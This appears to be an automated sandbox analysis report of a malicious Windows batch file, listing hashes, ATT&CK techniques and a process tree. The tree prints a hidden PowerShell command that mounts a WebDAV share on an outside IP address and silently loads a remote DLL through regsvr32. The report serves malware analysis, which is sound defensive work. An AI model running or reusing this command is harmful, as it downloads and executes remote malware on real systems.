083bb3b5d2b428b0c48d5ba9616fa51d19a5edbe5f344776a5bc2266ed5c61b9

Analysis

max time kernel
143s
max time network
115s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
19/07/2024, 09:16

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

31689286022091028782.bat
Size

3KB
MD5

8d47d023ea126d74d9d10ff711bfb807
SHA1

ac384f7d202f54844837de181f47f54edf46c1fa
SHA256

083bb3b5d2b428b0c48d5ba9616fa51d19a5edbe5f344776a5bc2266ed5c61b9
SHA512

8af5cacac6cfd05646410976a67a7c35ae4ce13ee0eef3d521ba3a3f8824b8c518aad32763899fdc5e7f30f68bb3775663175acfc702109faf3529be7c6d3ee4

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4468	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3419463127-3903270268-2580331543-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4468	powershell.exe
4468	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4468	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2788	wordpad.exe
2788	wordpad.exe
2788	wordpad.exe
2788	wordpad.exe
2788	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3376 wrote to memory of 2788	3376	cmd.exe	85
PID 3376 wrote to memory of 2788	3376	cmd.exe	85
PID 3376 wrote to memory of 4468	3376	cmd.exe	87
PID 3376 wrote to memory of 4468	3376	cmd.exe	87
PID 4468 wrote to memory of 3776	4468	powershell.exe	89
PID 4468 wrote to memory of 3776	4468	powershell.exe	89
PID 4468 wrote to memory of 4040	4468	powershell.exe	90
PID 4468 wrote to memory of 4040	4468	powershell.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\31689286022091028782.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3376
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2788
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\160551844320505.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4468
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:3776
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\160551844320505.dll
    3⤵
    PID:4040

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:1432

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yne2retd.kgb.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4468-5-0x000001BA7FDE0000-0x000001BA7FE02000-memory.dmp

Filesize
136KB

Download